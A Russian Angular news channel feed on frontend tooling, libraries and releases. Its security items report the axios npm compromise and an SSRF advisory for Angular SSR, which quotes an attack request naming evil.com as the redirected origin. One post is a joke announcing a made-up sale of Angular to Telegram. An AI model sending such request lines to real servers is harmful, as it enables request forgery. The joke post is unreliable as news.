🦊 Angular Fox 🚀 — русскогорящие новости сообщества
4.15K subscribers
1.41K photos
7 videos
1.27K links
Как костыль на реактивно-лисьей тяге 🔥🦊

Нравится канал? Подпишись на меня!
👉 twitter.com/thekiba_ru
💖 twitter.com/thekiba_io
medium.com/@thekiba
github.com/thekiba

Чаты @angular_ru @angular_jobs
Download Telegram
Higher-Kinded Types в TypeScript

TypeScript предлагает крайне мощную систему типов, но одной ключевой возможности в ней до сих пор нет, нативной поддержки типов высшего рода (Higher-Kinded Types, HKT).

Эта концепция, знакомая по Haskell и Scala, дает возможность абстрагироваться не только над значениями типов, но и над самими конструкторами типов (Array<T>, Set<T>, Promise<T> и т.д.).

На практике отсутствие HKT проявляется, когда мы хотим описать универсальный интерфейс, например, функцию map, которая работала бы с любыми контейнерами данных.

👉 https://habr.com/ru/articles/1015632/
👍51🔥1
DOOM на CSS

Недавно в сети появился проект с рендеринг DOOM полностью на CSS. Каждая стена, пол, бочка и монстр это <div>, спозиционированный в 3D-пространстве через CSS-трансформации.

Данные карты (вершины, линии, секторы) извлекаются из оригинального WAD-файла и передаются через CSS-переменные, а геометрия стен рассчитывается прямо в CSS. Проект наглядно показывает, насколько мощным стал современный CSS.

👉 https://nielsleenheer.com/articles/2026/css-is-doomed-rendering-doom-in-3d-with-css/
🤯14🔥4👍31
🚨 Axios взломан

Сегодня был скомпрометирован npm-аккаунт ведущего мейнтейнера и вручную опубликованы релизы axios@1.14.1 и axios@0.30.4.

Вредоносный код не был внедрен в сам axios. Вместо этого в package.json обеих версий была добавлена фиктивная зависимость plain-crypto-js@4.2.1, пакет, который нигде не импортируется в исходниках. Его единственная цель, выполнить postinstall-хук и скачать троян.

Это отличный повод наконец перейти на нативные решения.

Источник: новость первым принес канал @igor_katsuba. Спасибо за оперативность.

👉 https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
🤯22👍52
Google продал Angular Павлу Дурову

Сегодня ночью произошла самая неожиданная сделка в мире фронтенда. Google отказывается от поддержки Angular, передавая репозиторий и всю инфраструктуру разработчикам Telegram.

Что ждет фреймворк в ближайших релизах:

📦 Отказ от NPM. Из-за множественных уязвимостей в npm Angular теперь ставится только через официального бота.

💎 Angular Premium. В бесплатной версии ng serve ограничивает сборку до 10 компонентов и показывает рекламу каналов в консоли.

🤖 Новый ng new. Каждый новый проект по умолчанию создается как Mini App с TON-кошельком и авторизацией через Telegram Login.

⭐️ Новый ng build. Чтобы ускорить сборку, купите Angular Stars или пригласите 5 друзей-джуниоров по реферальной ссылке.

🎥 Новый формат логов. Все ошибки теперь приходят видеокружочками.

🔄 За Change Detection отвечают смарт-контракты. Компонент перерисовывается только после того, как валидаторы сети TON подтвердят изменение стейта.

👉 https://angular.dev/telegram
😁167🤡92🤣16💩5🔥4👎3🥱3🥰2
Signality

Signality предлагает обширный набор утилит, готовых к SSR и созданных для удобной композиции.

Библиотека вдохновлена VueUse, популярным набором утилит для Vue и следует той же философии компонуемых, реактивных решений, адаптированных под систему сигналов Angular.

Несмотря на то что первый релиз вышел под версией 0.1, количество уже реализованных функций впечатляет.

👉 https://signality.dev
👍16🤔5💩2🔥1
🎉 Taiga UI 5 уже здесь!

Команда Taiga UI выпустила мажорный релиз.

🆕 Что нового

Timeline - новый компонент временной шкалы для размещения событий на линейной оси.

Carousel - полностью переработан.

Expand, Accordion, InputPhoneInternational - вышли из статуса экспериментальных и теперь готовы к продакшену.

💎 Главные фишки релиза

Полная миграция на Signals: токены, пайпы и инпуты компонентов.

RTL-поддержка для Avatar, Switch, Pin, ThumbnailCard.

Иконки позволяют менять толщину линий и масштабируются со шрифтом.

addon-doc: новый дизайн, оглавление, отложенная подсветка синтаксиса.

addon-table: новый pipe tuiSorter.

Инфраструктура порталов переписана.

Поддержка BigInt.

⚙️ Требования

Убедитесь, что в вашем проекте есть: Angular 19+, Maskito v5+, @angular/animations больше не нужен, все анимации переписаны на CSS и Web Animations API.

🔄 Как мигрировать

ng update @taiga-ui/cdk


Полный список изменений в CHANGELOG.

👉 https://medium.com/p/fef85dde3fc7
🔥44🤨54👍3👎1
Как работают Signals

Хотя концепция сигналов кажется простой, мало кто может уверенно объяснить внутренний механизм.

Статья подробно разбирает, с иллюстрациями, push-pull алгоритм и основу мелкозернистой реактивности, которая автоматически распространяет изменения по графу зависимостей.

👉 https://willybrauner.com/journal/signal-the-push-pull-based-algorithm
🔥18👍6
ngxtension

Постоянно пишите одни и те же хелперы в новых проектах? Проект ngxtension собирает всю полезную рутину в одном месте.

Библиотека закрывает пробелы Angular. Как только фича появляется в самом фреймворке, из ngxtension ее аккуратно выпиливают.

Несмотря на то что ngxtension поставляется как единый пакет (чтобы его было удобно устанавливать), пайплайн сборки Angular корректно обрабатывает code-splitting и tree-shaking для всех точек входа, которые входят в состав ngxtension.

👉 https://ngxtension.dev/
10👍1
TypeScript врёт

Многие разработчики считают, что раз они описали интерфейс и TypeScript не ругается, все в порядке. Но TypeScript существует только на этапе компиляции. В рантайме его нет.

Когда с сервера прилетает реальный ответ, никакой проверки типов не происходит, компилятор просто верит вашей аннотации. Узнаете об этом обычно из Sentry или от пользователей.

Решение: библиотеки для рантайм-валидации.

👉 https://habr.com/ru/articles/1020268/
💩30👍5😴1
Утечки памяти во фронтенде

Исследование показало, что 86 % открытых фронтенд-проектов содержат хотя бы один случай отсутствующей очистки ресурсов. Проблемы найдены в 430 из 500 репозиториев.

Среди 55 864 находок лидируют: setTimeout/setInterval без clearTimeout/clearInterval (43,9%), addEventListener без removeEventListener (19%), .subscribe() без .unsubscribe() или takeUntil (13,9%), useEffect без возврата cleanup-функции, requestAnimationFrame без cancelAnimationFrame и т.д.

👉 https://stackinsight.dev/blog/memory-leak-empirical-study/
🤯11👎51
Назад в прошлое

Если вы когда-нибудь скучали по скрипу 56k-модема.

Opera запустили Web Rewind, интерактивный цифровой архив, посвященный самым знаковым моментам истории интернета: от визга модема при подключении до наших дней.

👉 https://web-rewind.com/
🔥95👍1🙏1
Основные элементы экосистемы JavaScript

В 2026 году экосистема JavaScript делает ставку на нативную производительность и отказ от лишних зависимостей.

Новые стандарты внедряют фичи, которые раньше требовали сторонних библиотек, главные рантаймы научились запускать TypeScript из коробки, а базовый тулинг массово переписывается на низкоуровневых языках вроде Rust и Go для кратного ускорения работы.

👉 https://habr.com/ru/articles/1021182/
👍10🔥4
Oxc Angular Compiler

VoidZero представила экспериментальный компилятор Oxc Angular Compiler, написанный на Rust с использованием ИИ-агентов. Он компилирует Angular-приложения до 20x быстрее по сравнению с текущими решениями.

Прирост производительности достигнут за счет изменения подхода к анализу кода. Стандартный компилятор Angular генерирует из HTML-шаблонов TypeScript-код, а затем использует TypeScript Compiler для глубокого семантического анализа и проверки типов. Oxc Angular Compiler выполняет трансформацию шаблонов нативно на Rust, снижая зависимость от семантического чекера TypeScript.

Важно: Компилятор создан в исследовательских целях. Проект не будет поддерживаться, и не предназначен для использования в продакшене. Воспринимайте его как прототип для проверки гипотезы.

👉 https://voidzero.dev/posts/oxc-angular-compiler
🔥14🤡8🤔3🥰211👏1😁1🙏1
Новый @Service декоратор

В Angular появится более удобная альтернатива @Injectable. Причина добавления нового декоратора в том, что @Injectable существует с самого начала Angular и несет в себе много багажа, создающего лишние сложности для разработчиков, которым, как правило, нужно просто объявить синглтон-сервис, доступный во всем приложении.

Ключевые отличия:

По умолчанию использует providedIn: 'root'. Если вы хотите регистрировать сервис вручную, установите autoProvided: false.

Не поддерживает инжекцию через конструктор, только через функцию inject.

Не поддерживает сложную сигнатуру @Injectable (useClass, useValue и т.д.). Вместо этого поддерживается единственная функция factory.

👉 https://github.com/angular/angular/pull/68195
🔥29👍11👎62💩2😇21
Формы в Angular

Знаем, знаем, вы уже успели соскучиться по очередной статье про формы. Тема не новая, обсуждений хватает, и большинство из вас уже в курсе, куда движется Angular, так что без предисловий.

Молчанов Егор сравнил подходы Reactive Forms и Signal Forms на конкретных примерах: от базовой формы с валидацией до динамических списков и асинхронных проверок.

👉 https://habr.com/ru/companies/domclick/articles/1018180/
👍13🥱5💯1
🚨 Уязвимость SSRF в Angular Platform-Server

Обнаружена серьезная уязвимость Server-Side Request Forgery в @angular/platform-server, связанная с некорректной обработкой URL при SSR.

Как работает атака?
Злоумышленник отправляет запрос вида:

GET /\evil.com/ HTTP/1.1


Сервер передаёт строку в Angular SSR, парсер нормализует обратный слэш в прямой и приложение начинает считать evil.com своим текущим origin. В результате все относительные запросы через HttpClient и обращения к PlatformLocation.hostname уходят на сервер атакующего.

👉 https://github.com/angular/angular/security/advisories/GHSA-45q2-gjvg-7973
🤯17😁11👍2👏1🤬1💯1🤣1
Как находить XSS

Учитывая, что число выявляемых уязвимостей продолжает расти, понимание методов их обнаружения становится обязательным навыком.

XSS (Cross-Site Scripting) — одна из самых распространенных проблем веб-приложений, позволяющая выполнять произвольный JavaScript в браузере.

Статья обобщает реальные практики поиска таких дыр: от классических способов до неочевидных сценариев, которые могут привести к утечкам данных.

👉 https://www.hackerone.com/blog/how-find-xss-techniques-security-researchers-use-real-environments
👍7👏1
Как превращать дизайнерские требования в архитектуру UI-компонента

При проектировании UI-кита или компонентов дизайн-системы часто возникает разница подходов. Дизайнеры описывают поведение элементов через призму пользовательского опыта, в то время как фронтендерам необходимо строгое разделение ответственности между компонентом и бизнес-логикой.

Даниил Замешаев разобрал подход, который помогает переводить требования от дизайнеров в чистую, масштабируемую архитектуру компонентов.

👉 https://habr.com/ru/companies/moysklad/articles/1020848/
👍92
Анонс TypeScript 7.0 Beta

Команда TypeScript выпустила бета-версию TypeScript 7.0. Компилятор был полностью портирован на Go и работает примерно в 10 раз быстрее версии 6.0.

Парсинг, тайпчекинг и кодогенерация теперь выполняются параллельно. Флаг --checkers задает количество воркеров для проверки типов (по умолчанию 4), а --builders число параллельных сборщиков project references, что особенно полезно для монорепозиториев.

Есть возможность включить однопоточный режим флагом --singleThreaded.

Стабильный релиз ожидается в течение двух месяцев.

👉 https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-beta/
25🔥13👍3
Релиз Git 2.54

Над релизом поработали 137 контрибьюторов, которые выкатили ряд важных фич для упрощения повседневной рутины.

Основные фичи:
🔧 git history. Новая экспериментальная команда для редактирования истории коммитов. Поддерживает два режима: reword (изменить сообщение коммита) и split (интерактивно разбить коммит на два).

🪝 Конфигурационные хуки. Теперь хуки можно описывать прямо в .gitconfig или /etc/gitconfig, задавая несколько хуков на одно событие.

👉 https://github.blog/open-source/git/highlights-from-git-2-54/
🔥172👍1
Скрытие email-адресов

В статье представлено актуальное исследование методов обфускации email-адресов от спам-ботов.

Чтобы выяснить эффективность различных подходов, автор превратил свою страницу в ханипот и на реальных данных замерил, какие техники действительно не позволяют скриптам извлечь почту, сохраняя при этом доступность и удобство для конечных пользователей.

Как показывает статистика, оставленный в открытом виде email или mailto: ссылка парсятся в 100% случаев (уровень защиты 0%). Однако большинство ботов работают примитивно, даже базовая замена текста на спецсимволы отсекает до 95% парсеров.

👉 https://spencermortensen.com/articles/email-obfuscation/
👍32